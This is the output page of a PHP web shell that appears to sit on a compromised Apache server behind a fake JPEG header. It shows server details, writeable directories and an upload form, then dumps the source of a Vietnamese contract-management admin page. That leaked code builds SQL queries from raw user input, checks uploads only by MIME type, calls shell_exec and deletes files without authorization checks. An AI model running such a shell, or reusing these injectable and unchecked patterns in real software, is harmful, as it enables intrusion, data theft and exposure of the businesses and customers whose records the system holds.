ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/truyentranh/code/management/hopdong/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/truyentranh/code/management/hopdong/index.php
<?php
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Style\Alignment;
use PhpOffice\PhpSpreadsheet\Style\Border;
use PhpOffice\PhpSpreadsheet\Writer\Xlsx;
use PhpOffice\PhpSpreadsheet\IOFactory;
$CORE->page_title='Quản lý hợp đồng';
$type='list';
if(isset($CORE->input['type']) && $CORE->input['type']!=''){
    $type=$CORE->input['type'];
}
switch ($type) {
    default:
        $nav = '';
        $where = " WHERE hopdong_id>0 ";
        $s = array('hopdong_code'=>'','service_cat'=>'','customer_id'=>'');
        $param_search = '';
        if(isset($CORE->input['s'])){
            $s = $CORE->input['s'];
            foreach ($s as $key=>$val){
                if($key=='hopdong_code' && $val!='' ){
                    $where .=  " AND ".$key." LIKE '%".$val."%' ";
                }
                if($key=='service_cat' && $val>0){
                    $where .=  " AND ".$key." = '".$val."' ";
                }
                if($key=='customer_id' && $val>0){
                    $where .=  " AND ".$key." = '".$val."' ";
                }
            }
            $param_search = http_build_query($s);
        }

        $pageNum = isset($_GET['pageNum']) ? intval($_GET['pageNum']) : 1;
        $pageSize = 50;
        $from = (($pageNum * $pageSize) - $pageSize);

        $t = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_hopdong ".$where));

        $total = $t['total'];
        $totalPage = ceil($total / $pageSize);
        $q_hopdong = $DB->query("SELECT * FROM tb_hopdong ".$where." ORDER BY time_post DESC LIMIT  $from,$pageSize ");
        $txt_list='';
        while ($r_hopdong = $DB->fetch_row($q_hopdong)){
            $arr_customer = get_customer_info($r_hopdong['customer_id']);
            $row_service = $DB->fetch_row($DB->query("SELECT * FROM tb_service WHERE service_id='".$r_hopdong['service_id']."' "));
            $txt_tacvu = $txt_status = '';
            if($r_hopdong['hopdong_status']==1){
                $txt_status = 'ChỠký';
                $txt_tacvu = '<a class="btn btn-info btn-sm mt-1" href="?act=management&code=hopdong&type=post&customer_id='.$r_hopdong['customer_id'].'&service_id='.$r_hopdong['service_id'].'&service_event_id='.$r_hopdong['service_event_id'].'"><i class="fas fa-pencil-alt"></i> Cập nhật</a> <a class="btn btn-warning btn-sm mt-1" href="?act=management&code=hopdong&type=print&customer_id='.$r_hopdong['customer_id'].'&service_id='.$r_hopdong['service_id'].'&service_event_id='.$r_hopdong['service_event_id'].'"><i class="fas fa-print"></i> In hợp đồng</a> <a class="btn btn-success btn-sm mt-1" href="?act=management&code=hopdong&type=upload_hopdong&customer_id='.$r_hopdong['customer_id'].'&service_id='.$r_hopdong['service_id'].'&service_event_id='.$r_hopdong['service_event_id'].'"><i class="fas fa-file-upload"></i> Upload hợp đồng đã ký</a>';
            }
            if($r_hopdong['hopdong_status']==3){
                $txt_status = 'Äã ký';
                $txt_tacvu = '<a class="btn btn-info btn-sm mt-1" href="?act=management&code=hopdong&type=xem_hopdong&customer_id='.$r_hopdong['customer_id'].'&service_id='.$r_hopdong['service_id'].'&service_event_id='.$r_hopdong['service_event_id'].'" target="_blank"><i class="fas fa-eye"></i> Xem hợp đồng đã ký</a> ';
            }
            $txt_list .= '<tr><td>'.$r_hopdong['hopdong_id'].'</td><td>'.$r_hopdong['hopdong_code'].'</td><td>'.$row_service['service_title'].'</td><td><a href="?act=management&code=customer&type=post&id='.$arr_customer['customer_id'].'" target="_blank">'.$arr_customer['customer_fullname'].'</a></td><td>'.$txt_status.'</td>
<td>
'.$txt_tacvu.'
</td>
</tr>';
        }
        $nav = $print->Pagination($totalPage,$pageNum,'menu','index.php?act=management&code=service&'.$param_search);
        break;
    case 'post':
        $v_service_id = 0;
        $v_service_event_id = 0;
        $v_customer_id = 0;
        if(isset($CORE->input['service_id']) && $CORE->input['service_id']>0){
            $v_service_id = $CORE->input['service_id'];
        }
        if(isset($CORE->input['service_event_id']) && $CORE->input['service_event_id']>0){
            $v_service_event_id = $CORE->input['service_event_id'];
        }
        if(isset($CORE->input['customer_id']) && $CORE->input['customer_id']>0){
            $v_customer_id = $CORE->input['customer_id'];
        }
        if($v_service_id==0 or $v_service_event_id==0 or $v_customer_id==0){
            $print->refresh('?act=management&code=service','Xin chá»n dịch vụ để thêm hợp đồng');
        }
        $row_service = $DB->fetch_row($DB->query("SELECT * FROM tb_service WHERE service_id='$v_service_id' "));
        $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_hopdong WHERE customer_id='$v_customer_id' AND service_cat='".$row_service['service_cat']."' AND service_id='$v_service_id' AND service_event_id='$v_service_event_id' "));
        if(!$row_check){
            $row_check = $DB->get_colum_tb('tb_hopdong');
            $row_check['hopdong_ngayin'] = date('d-m-Y');
            $row_check['hopdong_ngayky'] = date('d-m-Y');
        }

        $arr_customer = get_customer_info($v_customer_id);
        $row_service_event = $DB->fetch_row($DB->query("SELECT * FROM tb_service_event WHERE service_event_id='$v_service_event_id' "));
        if(isset($CORE->input['submitbt'])){
            $f = $CORE->input['f'];
            $hopdong_ngayin = date('Y-m-d',strtotime($f['hopdong_ngayin']));
            $hopdong_ngayky = date('Y-m-d',strtotime($f['hopdong_ngayky']));
            if(intval($f['hopdong_id'])==0){

                $arr_insert = array('hopdong_code'=>tao_ma_hopdong($f['service_id']),'customer_id'=>$f['customer_id'],'service_cat'=>$f['service_cat'],'service_id'=>$f['service_id'],'service_event_id'=>$f['service_event_id'],'hopdong_ngayin'=>$hopdong_ngayin,'hopdong_ngayky'=>$hopdong_ngayky,'hopdong_folder'=>'','hopdong_file'=>'','hopdong_status'=>1,'time_post'=>date('Y-m-d H:i:s'),'user_post'=>$ob_user->user_name,'time_update'=>date('Y-m-d H:i:s'),'user_update'=>$ob_user->user_name);
                $DB->do_insert('tb_hopdong',$arr_insert);
            }else{
                $DB->query("UPDATE tb_hopdong SET hopdong_ngayin='$hopdong_ngayin',hopdong_ngayky='$hopdong_ngayky',time_update='".date('Y-m-d H:i:s')."',user_update='".$ob_user->user_name."' WHERE hopdong_id='".intval($f['hopdong_id'])."' ");
            }
            $print->refresh('?act=management&code=hopdong&type=post&customer_id='.$f['customer_id'].'&service_id='.$f['service_id'].'&service_event_id='.$f['service_event_id']);
        }
        break;
    case 'print':
        $v_service_id = 0;
        $v_service_event_id = 0;
        $v_customer_id = 0;
        if(isset($CORE->input['service_id']) && $CORE->input['service_id']>0){
            $v_service_id = $CORE->input['service_id'];
        }
        if(isset($CORE->input['service_event_id']) && $CORE->input['service_event_id']>0){
            $v_service_event_id = $CORE->input['service_event_id'];
        }
        if(isset($CORE->input['customer_id']) && $CORE->input['customer_id']>0){
            $v_customer_id = $CORE->input['customer_id'];
        }
        if($v_service_id==0 or $v_service_event_id==0 or $v_customer_id==0){
            $print->refresh('?act=management&code=service','Xin chá»n dịch vụ để thêm hợp đồng');
        }
        $row_service = $DB->fetch_row($DB->query("SELECT * FROM tb_service WHERE service_id='$v_service_id' "));
        $txt_template = '';

        $q_template = $DB->query("SELECT * FROM tb_hopdong_tpl WHERE service_cat='".$row_service['service_cat']."' ORDER BY hopdong_tpl_id DESC");
        $txt_template = '';
        $txt_checked = 'checked';
        while ($r_template=$DB->fetch_row($q_template)){
            $txt_template .= '<tr><td>
<div class="custom-control custom-radio">
                          <input class="custom-control-input" type="radio"  name="hopdong_tpl_id" value="'.$r_template['hopdong_tpl_id'].'" id="customRadio'.$r_template['hopdong_tpl_id'].'" '.$txt_checked.'>
                          <label for="customRadio'.$r_template['hopdong_tpl_id'].'" class="custom-control-label"></label>
                        </div>
</td><td>'.$r_template['hopdong_tpl_name'].'</td><td><a href="'.$r_template['hopdong_tpl_path'].'"><i class="fas fa-file-download"></i></a></td><td><a href="?act=management&code=hopdong&type=delete_template&customer_id='.$v_customer_id.'&service_id='.$v_service_id.'&service_event_id='.$v_service_event_id.'&template_id='.$r_template['hopdong_tpl_id'].'" onclick="return confirm(\'Bạn có chắc muốn xóa?\');">Xóa</a></td></tr>';
            $txt_checked = '';
        }
        $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_hopdong WHERE customer_id='$v_customer_id' AND service_cat='".$row_service['service_cat']."' AND service_id='$v_service_id' AND service_event_id='$v_service_event_id' "));
        if(isset($CORE->input['submitbt_print'])) {
            $f = $CORE->input['f'];

            $template_id = isset($CORE->input['hopdong_tpl_id']) ? $CORE->input['hopdong_tpl_id'] : 0;
            $row_service = $DB->fetch_row($DB->query("SELECT * FROM tb_service WHERE service_id='".$f['service_id']."' "));
            $row_service_event = $DB->fetch_row($DB->query("SELECT *,(service_event_soluong*service_event_dongia) as service_event_thanhtien FROM tb_service_event WHERE service_event_id='".$f['service_event_id']."' "));
            $row_service_event['service_event_from'] = date('d/m/Y',strtotime($row_service_event['service_event_begin']));
            $row_service_event['service_event_to'] = date('d/m/Y',strtotime($row_service_event['service_event_end']));
            $row_service_event['service_event_donvitinh'] = $arr_service_donvitinh[$row_service_event['service_event_donvitinh']];
            $row_service_event['service_event_vat'] = ($row_service_event['service_event_thanhtien']*$row_service_event['service_event_tax'])/100;
            $row_service_event['service_event_discount'] = ($row_service_event['service_event_thanhtien']*$row_service_event['service_event_discount'])/100;
            $row_service_event['service_event_tongcong'] = $row_service_event['service_event_thanhtien']+$row_service_event['service_event_vat']-$row_service_event['service_event_discount'];
            $row_service_event['service_event_tongcong_bang_chu'] = $func->convert_number_to_words($row_service_event['service_event_tongcong']);
            $row_service_event['service_event_dongiabangchu'] = $func->convert_number_to_words($row_service_event['service_event_dongia']);

            $row_service_event['service_event_vat'] = number_format($row_service_event['service_event_vat'], 0, '', '.');
            $row_service_event['service_event_discount'] = number_format($row_service_event['service_event_discount'], 0, '', '.');
            $row_service_event['service_event_tongcong'] = number_format($row_service_event['service_event_tongcong'], 0, '', '.');
            $row_service_event['service_event_dongia'] = number_format($row_service_event['service_event_dongia'], 0, '', '.');

            if($row_service_event['service_event_tudonggiahan']=='yes'){
                $row_service_event['service_event_txt_thoihanhopdong'] = $row_service_event['service_event_thoihanhopdong'].' tháng và được tự động gia hạn mỗi tháng tiếp theo (khi được 2 bên thống nhất): kể từ '.$row_service_event['service_event_from'].' đến khi bên A và bên B thống nhất tạm dừng hoặc kết thúc hợp đồng dịch vụ';
            }else{
                $time_next = date('d/m/Y',(strtotime($row_service_event['service_event_begin'])+$row_service_event['service_event_thoihanhopdong']*30*24*60*60));
                $row_service_event['service_event_txt_thoihanhopdong'] = $row_service_event['service_event_thoihanhopdong'].' tháng kể từ '.$row_service_event['service_event_from'].' đến '.$time_next;
                $row_service_event['service_event_txt_thoihanhopdong_5'] = $row_service_event['service_event_thoihanhopdong'].' tháng kể từ '.$row_service_event['service_event_from'].' đến '.$time_next;
            }
            if($row_service_event['service_event_covat']=='yes'){
                $row_service_event['service_event_txtcovat'] = 'Äã';
            }else{
                $row_service_event['service_event_txtcovat'] = 'ChÆ°a';
            }
            $row_template = $DB->fetch_row($DB->query("SELECT * FROM tb_hopdong_tpl WHERE hopdong_tpl_id='".$template_id."' "));
            $row_company = $DB->fetch_row($DB->query("SELECT * FROM tb_company WHERE company_id='".$ob_user->company_id."' "));
            $row_customer = $DB->fetch_row($DB->query("SELECT * FROM tb_customer WHERE customer_id='".$f['customer_id']."' "));
            if($row_customer['customer_gender']==1){
                $row_customer['customer_gender']='Ông. ';
            }else{
                $row_customer['customer_gender']='Bà. ';
            }
            if(trim($row_customer['customer_company'])!=''){
                $row_customer['customer_company_s']='- '.$row_customer['customer_company'];
            }


            $row_customer['customer_cmnd_ngaycap'] = date('d/m/Y',strtotime($row_customer['customer_cmnd_ngaycap']));

            $row_hopdong = $DB->fetch_row($DB->query("SELECT * FROM tb_hopdong WHERE hopdong_id='".$f['hopdong_id']."' "));
            $row_hopdong['so_hop_dong'] = $row_hopdong['hopdong_code'];
            $row_hopdong['ngay_hop_dong'] = '';
            if(isset($row_hopdong['hopdong_ngayky']) && $row_hopdong['hopdong_ngayky']!=''){
                $txt_hopdong_ngayky = strtotime($row_hopdong['hopdong_ngayky']);
                $row_hopdong['ngay_hop_dong'] = 'ngày '.date('d',$txt_hopdong_ngayky).' tháng '.date('m',$txt_hopdong_ngayky).' năm '.date('Y',$txt_hopdong_ngayky);
            }

            if($template_id==0){
                $print->refresh('?act=management&code=hopdong&type=print&customer_id='.$template_id.'&service_id='.$f['service_id'].'&service_event_id='.$f['service_event_id'], 'Bạn chÆ°a chá»n template!', 5);
            }
            if ($f['service_id'] == 0 or $f['service_event_id'] == 0 or $f['hopdong_id']==0) return;

            if ($row_hopdong['hopdong_status'] == 3) {
                $print->refresh('?act=management&code=hopdong&type=print&customer_id='.$template_id.'&service_id='.$f['service_id'].'&service_event_id='.$f['service_event_id'], 'Hợp đồng đã ký, không thể tiếp tục in!', 5);
            }

            $txt_path = $row_template['hopdong_tpl_path'];
            $templateProcessor = new \PhpOffice\PhpWord\TemplateProcessor($txt_path);

            $data = array_merge($row_service, $row_service_event, $row_company,$row_hopdong,$row_customer);

            foreach ($data as $key => $val) {
                $templateProcessor->setValue($key, $val);
            }
            $templateProcessor->saveAs('upload/logos/hop-dong-goi-dau-tu-after-replace.docx');
            $out = shell_exec('export HOME=/tmp && /usr/bin/libreoffice6.4 --headless -convert-to pdf --outdir /var/www/html/admin.adimi/upload/logos /var/www/html/admin.adimi/upload/logos/hop-dong-goi-dau-tu-after-replace.docx');
            //$out = shell_exec('export HOME=/tmp && /usr/bin/libreoffice6.4 --headless -convert-to pdf --outdir /var/www/html/api2.uka.edu.vn/cache /var/www/html/api2.uka.edu.vn/cache/hop-dong-goi-dau-tu-' . base64_encode($data['so_hop_dong']) . '.docx');
            //unlink('cache/hop-dong-goi-dau-tu-' . base64_encode($data['so_hop_dong']) . '.docx');

            if ($out) {
                $filename = "upload/logos/hop-dong-goi-dau-tu-after-replace.pdf";
                $name = 'hop-dong.pdf';
                header("Content-type: application/pdf");
                header("Content-Length: " . filesize($filename));

                header('Content-Type: application/pdf');
                header('Content-Length: '. filesize($filename));
                header('Content-disposition: inline; filename="' . $name . '"');
                header('Cache-Control: public, must-revalidate, max-age=0');
                header('Pragma: public');
                header('Expires: Sat, 26 Jul 1997 05:00:00 GMT');
                header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT');

                readfile($filename);
                exit();
            } else {
                echo 'error, please try later!';
                exit();
            }
        }
        break;
    case 'upload_template':
        $v_service_id = 0;
        $v_service_event_id = 0;
        $v_customer_id = 0;
        if(isset($CORE->input['service_id']) && $CORE->input['service_id']>0){
            $v_service_id = $CORE->input['service_id'];
        }
        if(isset($CORE->input['service_event_id']) && $CORE->input['service_event_id']>0){
            $v_service_event_id = $CORE->input['service_event_id'];
        }
        if(isset($CORE->input['customer_id']) && $CORE->input['customer_id']>0){
            $v_customer_id = $CORE->input['customer_id'];
        }
        if($v_service_id==0 or $v_service_event_id==0 or $v_customer_id==0){
            $print->refresh('?act=management&code=service','Xin chá»n dịch vụ để thêm hợp đồng');
        }
        $row_service = $DB->fetch_row($DB->query("SELECT * FROM tb_service WHERE service_id='$v_service_id' "));
        if(isset($_FILES['file_template']) && $_FILES['file_template']['type']=='application/vnd.openxmlformats-officedocument.wordprocessingml.document') {
            $txt_path = 'upload/logos/'.$row_service['service_cat'].'_'.$_FILES['file_template']['name'];
            if(move_uploaded_file($_FILES['file_template']['tmp_name'],$txt_path)){
                $arr_insert = array('hopdong_tpl_name'=>$row_service['service_cat'].'_'.$_FILES['file_template']['name'],'hopdong_tpl_path'=>$txt_path,'user_post'=>$ob_user->user_name,'service_cat'=>$row_service['service_cat']);
                $DB->do_insert('tb_hopdong_tpl',$arr_insert);
                $print->refresh('?act=management&code=hopdong&type=print&customer_id='.$v_customer_id.'&service_id='.$v_service_id.'&service_event_id='.$v_service_event_id);
            }
        }else{
            $print->refresh('?act=management&code=hopdong&type=print&customer_id='.$v_customer_id.'&service_id='.$v_service_id.'&service_event_id='.$v_service_event_id,'Error! File template phải là file .docx',5);
        }
        break;
    case 'delete_template':
        $v_service_id = 0;
        $v_service_event_id = 0;
        $v_customer_id = 0;
        if(isset($CORE->input['service_id']) && $CORE->input['service_id']>0){
            $v_service_id = $CORE->input['service_id'];
        }
        if(isset($CORE->input['service_event_id']) && $CORE->input['service_event_id']>0){
            $v_service_event_id = $CORE->input['service_event_id'];
        }
        if(isset($CORE->input['customer_id']) && $CORE->input['customer_id']>0){
            $v_customer_id = $CORE->input['customer_id'];
        }
        if($v_service_id==0 or $v_service_event_id==0 or $v_customer_id==0){
            $print->refresh('?act=management&code=service','Xin chá»n dịch vụ để thêm hợp đồng');
        }
        $row_service = $DB->fetch_row($DB->query("SELECT * FROM tb_service WHERE service_id='$v_service_id' "));
        $template_id = isset($CORE->input['template_id']) ? $CORE->input['template_id'] : 0;
        $row_template = $DB->fetch_row($DB->query("SELECT * FROM tb_hopdong_tpl WHERE hopdong_tpl_id='$template_id' "));
        $txt_path = $row_template['hopdong_tpl_path'];
        unlink($txt_path);
        $DB->query("DELETE FROM tb_hopdong_tpl WHERE hopdong_tpl_id='$template_id' ");
        $print->refresh('?act=management&code=hopdong&type=print&customer_id='.$v_customer_id.'&service_id='.$v_service_id.'&service_event_id='.$v_service_event_id);
        break;
    case 'upload_hopdong':
        $v_service_id = 0;
        $v_service_event_id = 0;
        $v_customer_id = 0;
        if(isset($CORE->input['service_id']) && $CORE->input['service_id']>0){
            $v_service_id = $CORE->input['service_id'];
        }
        if(isset($CORE->input['service_event_id']) && $CORE->input['service_event_id']>0){
            $v_service_event_id = $CORE->input['service_event_id'];
        }
        if(isset($CORE->input['customer_id']) && $CORE->input['customer_id']>0){
            $v_customer_id = $CORE->input['customer_id'];
        }
        if($v_service_id==0 or $v_service_event_id==0 or $v_customer_id==0){
            $print->refresh('?act=management&code=service','Xin chá»n dịch vụ để thêm hợp đồng');
        }
        $row_service = $DB->fetch_row($DB->query("SELECT * FROM tb_service WHERE service_id='$v_service_id' "));
        $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_hopdong WHERE customer_id='$v_customer_id' AND service_cat='".$row_service['service_cat']."' AND service_id='$v_service_id' AND service_event_id='$v_service_event_id' "));
        if(!$row_check){
            $row_check = $DB->get_colum_tb('tb_hopdong');
            $row_check['hopdong_ngayin'] = date('d-m-Y');
            $row_check['hopdong_ngayky'] = date('d-m-Y');
        }
        if(!$row_check){
            $print->refresh('?act=management&code=hopdong','Error! Không tồn tại hợp đồng này',5);
        }
        if(isset($_FILES['file_hd_pdf'])){
            if($_FILES['file_hd_pdf']['type']=='application/pdf') {
                $hopdong_id = isset($CORE->input['hopdong_id']) ? $CORE->input['hopdong_id'] : 0;
                if ($hopdong_id == 0) return;
                $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_hopdong WHERE hopdong_id='$hopdong_id' "));
                $year_now = date('Y');
                $month_now = date('m');
                if(!is_dir("upload/chungtuketoan")){
                    mkdir("upload/chungtuketoan", 0777);
                }
                if (is_dir("upload/chungtuketoan/" . $year_now)) {
                    if (!is_dir("upload/chungtuketoan/" . $year_now . "/" . $month_now)) {
                        mkdir("upload/chungtuketoan/" . $year_now . "/" . $month_now, 0777);
                    }
                } else {
                    mkdir("upload/chungtuketoan/" . $year_now, 0777);
                    if (!is_dir("upload/chungtuketoan/" . $year_now . "/" . $month_now)) {
                        mkdir("upload/chungtuketoan/" . $year_now . "/" . $month_now, 0777);
                    }
                }
                $file_name = $hopdong_id . '.pdf';
                $link_file = "upload/chungtuketoan/" . $year_now . "/" . $month_now . "/" . $file_name;
                if (move_uploaded_file($_FILES['file_hd_pdf']['tmp_name'], $link_file)) {
                    $DB->query("UPDATE tb_hopdong SET hopdong_file='$link_file',hopdong_status='3' WHERE hopdong_id='$hopdong_id' ");
                    $print->refresh('?act=management&code=hopdong&type=list','Äã upload hợp đồng');
                }
            }else{
                $print->refresh('?act=management&code=hopdong&type=upload_hopdong&customer_id='.$row_check['customer_id'].'&service_id='.$row_check['service_id'].'&service_event_id='.$row_check['service_event_id'].'','Error! File hợp đồng là file pdf',5);
            }
        }

        break;
    case 'xem_hopdong':
        $v_service_id = 0;
        $v_service_event_id = 0;
        $v_customer_id = 0;
        if(isset($CORE->input['service_id']) && $CORE->input['service_id']>0){
            $v_service_id = $CORE->input['service_id'];
        }
        if(isset($CORE->input['service_event_id']) && $CORE->input['service_event_id']>0){
            $v_service_event_id = $CORE->input['service_event_id'];
        }
        if(isset($CORE->input['customer_id']) && $CORE->input['customer_id']>0){
            $v_customer_id = $CORE->input['customer_id'];
        }
        if($v_service_id==0 or $v_service_event_id==0 or $v_customer_id==0){
            $print->refresh('?act=management&code=service','Xin chá»n dịch vụ để thêm hợp đồng');
        }
        $row_service = $DB->fetch_row($DB->query("SELECT * FROM tb_service WHERE service_id='$v_service_id' "));
        $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_hopdong WHERE customer_id='$v_customer_id' AND service_cat='".$row_service['service_cat']."' AND service_id='$v_service_id' AND service_event_id='$v_service_event_id' "));
        $filename = $row_check['hopdong_file'];
        $name = 'hop-dong.pdf';
        header("Content-type: application/pdf");
        header("Content-Length: " . filesize($filename));

        header('Content-Type: application/pdf');
        header('Content-Length: '. filesize($filename));
        header('Content-disposition: inline; filename="' . $name . '"');
        header('Cache-Control: public, must-revalidate, max-age=0');
        header('Pragma: public');
        header('Expires: Sat, 26 Jul 1997 05:00:00 GMT');
        header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT');

        readfile($filename);
        exit();
        break;
}
include ROOT_PATH . 'include/block/header.php';
?>
<div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
        <div class="container-fluid">
            <div class="row">
                <div class="col-sm-12">
                    <ol class="breadcrumb float-sm-right">
                        <li class="breadcrumb-item"><a href="?">Home</a></li>
                        <li class="breadcrumb-item active"><a href="?act=management&code=hopdong&type=list">Hợp đồng</a></li>
                    </ol>
                </div>
            </div>
        </div><!-- /.container-fluid -->
    </section>

    <!-- Main content -->
    <section class="content">
        <div class="container-fluid">
            <div class="row">
                <div class="col-md-12">
                    <?php
                    if($type=='list'){
                        ?>
                        <div class="card">
                            <div class="card-header">
                                <h3 class="card-title">Hợp đồng</h3>
                                <div class="card-tools"><a href="?act=management&code=hopdong&type=post" class="btn btn-info"><i class="fas fa-file-contract"></i> Thêm mới hợp đồng</a></div>
                            </div>
                            <div class="card-body">

                                <form action="?" method="get">
                                    <input type="hidden" name="act" value="management">
                                    <input type="hidden" name="code" value="hopdong">
                                    <div class="row">
                                        <div class="col-md-12">
                                            <div class="row">
                                                <div class="col-3">
                                                    <div class="form-group">
                                                        <label>Số hợp đồng:</label>
                                                        <input type="text" name="s[hopdong_code]" class="form-control" value="">
                                                    </div>
                                                </div>
                                                <div class="col-3">
                                                    <div class="form-group">
                                                        <label>Danh mục dịch vụ:</label>
                                                        <select class="form-control" name="s[service_cat]">
                                                            <option value="">---</option>
                                                            <?php echo op_service_cat(0);?>
                                                        </select>
                                                    </div>
                                                </div>
                                                <div class="col-3">
                                                    <div class="form-group">
                                                        <label>Khách hàng:</label>
                                                        <select class="form-control select2 select2-danger" data-dropdown-css-class="select2-danger" name="s[customer_id]" id="search_customer">

                                                        </select>
                                                    </div>
                                                </div>
                                                <div class="col-3">
                                                    <div class="input-group-append">
                                                        <button type="submit" class="btn btn-small btn-success pull-right mt-4">
                                                            <i class="fa fa-search"></i>
                                                        </button>
                                                    </div>
                                                </div>
                                            </div>

                                        </div>
                                    </div>
                                </form>

                                <table class="table table-bordered">
                                    <tr><th>#</th><th>Số hợp đồng</th><th>Dịch vụ</th><th>Khách hàng</th><th>Status</th><th>Tác vụ</th></tr>
                                    <?php echo $txt_list;?>
                                </table>
                            </div>
                            <div class="card-footer clearfix">
                                <ul class="pagination pagination-sm m-0 float-right">
                                    <?php echo $nav;?>
                                </ul>
                            </div>
                        </div>
                    <?php } ?>
<?php
if($type=='post'){
    ?>
    <div class="card card-warning">
        <div class="card-header">
            <h3 class="card-title">Soạn hợp đồng</h3>
        </div>
        <!-- /.card-header -->
        <div class="card-body">
            <form action="?act=management&code=hopdong&type=post&customer_id=<?php echo $v_customer_id;?>&service_id=<?php echo $v_service_id;?>&service_event_id=<?php echo $v_service_event_id;?>" method="post">
                <input type="hidden" name="f[hopdong_id]" value="<?php echo $row_check['hopdong_id'];?>">
                <input type="hidden" name="f[customer_id]" value="<?php echo $v_customer_id;?>">
                <input type="hidden" name="f[service_cat]" value="<?php echo $row_service['service_cat'];?>">
                <input type="hidden" name="f[service_id]" value="<?php echo $v_service_id;?>">
                <input type="hidden" name="f[service_event_id]" value="<?php echo $v_service_event_id;?>">
                <div class="row">
                    <div class="col-sm-12">
                        <table class="table table-bordered">
                            <tr><td>Khách hàng</td><td><?php echo $arr_customer['customer_fullname'];?></td></tr>
                            <tr><td>Danh mục dịch vụ</td><td><?php echo $arr_service[$row_service['service_cat']];?></td></tr>
                            <tr><td>Dịch vụ</td><td><?php echo $row_service['service_title'];?></td></tr>
                            <tr><td>Sự kiện dịch vụ</td><td>
                                    <table class="table table-responsive">
                                        <tr><th>Dịch vụ từ ngày</th><th>ÄÆ¡n giá</th><th>NgÆ°á»i tạo</th></tr>
                                        <tr><td><?php echo date('d-m-Y',strtotime($row_service_event['service_event_begin']));?></td><td><?php echo $row_service_event['service_event_dongia'];?></td><td><?php echo $row_service_event['user_post'];?></td></tr>
                                    </table>
                                </td></tr>
                        </table>
                    </div>
                </div>
                <div class="row">
                    <div class="col-sm-6">
                        <div class="form-group">
                            <label>Ngày in hợp đồng</label>
                            <input class="form-control mydatepicker" type="text" value="<?php echo date('d-m-Y',strtotime($row_check['hopdong_ngayin']));?>" name="f[hopdong_ngayin]" required>
                        </div>
                    </div>
                    <div class="col-sm-6">
                        <!-- text input -->
                        <div class="form-group">
                            <label>Ngày ký hợp đồng</label>
                            <input class="form-control mydatepicker" type="text" value="<?php echo date('d-m-Y',strtotime($row_check['hopdong_ngayky']));?>" name="f[hopdong_ngayky]">
                        </div>
                    </div>
                </div>

                <div class="row no-print">
                    <div class="col-12">
                        <?php
                        if($row_check['hopdong_id']>0){
                        ?>
                        <a href="?act=management&code=hopdong&type=print&customer_id=<?php echo $v_customer_id;?>&service_id=<?php echo $v_service_id;?>&service_event_id=<?php echo $v_service_event_id;?>" rel="noopener" target="_blank" class="btn btn-info"><i class="fas fa-print"></i> In hợp đồng</a>
                        <?php } ?>
                        <button type="submit" class="btn btn-success float-right" name="submitbt"><i class="far fa-credit-card"></i> Cập nhật hợp đồng

                    </div>
                </div>


                </button>
            </form>
        </div>
        <!-- /.card-body -->
    </div>
    <?php } ?>

                    <?php
                    if($type=='print'){
                    ?>
                        <div class="callout callout-info">
                            <h5><i class="fas fa-info"></i> Note:</h5>
                            Ký tự trong file template có dạng ${ten_bien} là ký tự để thay thế từ thông tin pháp lý và thông tin hợp đồng.
                        </div>

                        <div class="card">
                            <div class="card-header">
                                <span>Chá»n template có sẵn để in hợp đồng hoặc upload template má»›i</span>
                                <div class="card-tools"><a href="upload/logos/hop-dong-quan-tri-website-CANHAN-tpl.docx" target="_blank"><i class="fas fa-download"></i> HỢP Äá»’NG QUẢN TRỊ WEBSITE Cà NHÂN</a> <a href="upload/logos/hop-dong-quan-tri-website-CONGTY-tpl.docx" target="_blank"><i class="fas fa-download"></i> HỢP Äá»’NG QUẢN TRỊ WEBSITE CÔNG TY</a> <a href="upload/logos/hop-dong-cung-cap-hosting-tpl.docx" target="_blank"><i class="fas fa-download"></i> HỢP Äá»’NG CUNG CẤP HOSTING</a> <a href="upload/logos/hop-dong-quan-tri-fanpage-tpl.docx" target="_blank"><i class="fas fa-download"></i> HỢP Äá»’NG QUẢN TRỊ FANPAGE</a> <a href="upload/logos/hop-dong-thiet-ke-website-CANHAN-tpl.docx" target="_blank"><i class="fas fa-download"></i> HỢP Äá»’NG THIẾT KẾ WEBSITE Cà NHÂN</a> <a href="upload/logos/hop-dong-thiet-ke-website-CONGTY-tpl.docx" target="_blank"><i class="fas fa-download"></i> HỢP Äá»’NG THIẾT KẾ WEBSITE CÔNG TY</a></div>
                            </div>
                            <div class="card-body">

                                <form action="?act=management&code=hopdong&type=upload_template&customer_id=<?php echo $v_customer_id;?>&service_id=<?php echo $v_service_id;?>&service_event_id=<?php echo $v_service_event_id;?>" method="post" enctype="multipart/form-data" id="upload_template">
                                    <input type="hidden" name="f[hopdong_id]" value="<?php echo $row_check['hopdong_id'];?>">
                                    <input type="hidden" name="f[customer_id]" value="<?php echo $v_customer_id;?>">
                                    <input type="hidden" name="f[service_cat]" value="<?php echo $row_service['service_cat'];?>">
                                    <input type="hidden" name="f[service_id]" value="<?php echo $v_service_id;?>">
                                    <input type="hidden" name="f[service_event_id]" value="<?php echo $v_service_event_id;?>">
                                    <div class="form-group">
                                        <label for="exampleInputFile">Upload template (.docx)</label>
                                        <div class="input-group">
                                            <div class="custom-file">
                                                <input type="file" class="custom-file-input" id="exampleInputFile_template" name="file_template">
                                                <label class="custom-file-label" for="exampleInputFile_template"></label>
                                            </div>
                                            <div class="input-group-append">
                                                <span class="input-group-text" onclick="$('#upload_template').submit();" style="cursor: pointer">Upload</span>
                                            </div>
                                        </div>
                                    </div>
                                </form>
